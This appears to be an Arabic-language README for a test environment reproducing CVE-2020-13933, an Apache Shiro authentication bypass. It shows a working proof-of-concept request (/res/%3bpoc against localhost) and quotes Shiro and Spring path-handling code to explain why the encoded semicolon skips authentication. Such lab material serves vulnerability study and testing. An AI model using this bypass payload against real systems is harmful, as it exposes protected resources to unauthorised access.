
CVE-2020-13933 بيئة اختبار: ثغرة تجاوز المصادقة في shiro
ثغرة تجاوز المصادقة في Apache Shiro < 1.6.0
http://127.0.0.1:8080/res/%3bpoc
ShiroConfig.java:
/res/*، يتم إعادة التوجيه (302) إلى صفحة تسجيل الدخول للمصادقةNameController.java:
/res/{name}: طلب المورد المسمى name (يؤدي إلى تشغيل المصادقة)
/res/: لا يطلب أي مورد (لا يؤدي إلى تشغيل المصادقة)عند عدم تحديد اسم مورد في مسار الطلب، لا يتم تشغيل المصادقة ولا يتم إرجاع أي مورد: http://127.0.0.1:8080/res/

عند تحديد اسم مورد في مسار الطلب، يتم إعادة التوجيه (302) إلى صفحة المصادقة: http://127.0.0.1:8080/res/poc

عند إنشاء طلب PoC محدد لمورد معين، لا يتم تشغيل المصادقة ويتم إرجاع المورد: http://127.0.0.1:8080/res/%3bpoc (%3b هو ترميز URL لـ ;)

// org.apache.shiro.web.util.WebUtils.java
// line 111
public static String getPathWithinApplication(HttpServletRequest request) {
return normalize(removeSemicolon(getServletPath(request) + getPathInfo(request)));
}
// org.springframework.web.util.UrlPathHelper.java
// line 459
private String decodeAndCleanUriString(HttpServletRequest request, String uri) {
uri = removeSemicolonContent(uri);
uri = decodeRequestString(request, uri);
uri = getSanitizedPath(uri);
return uri;
}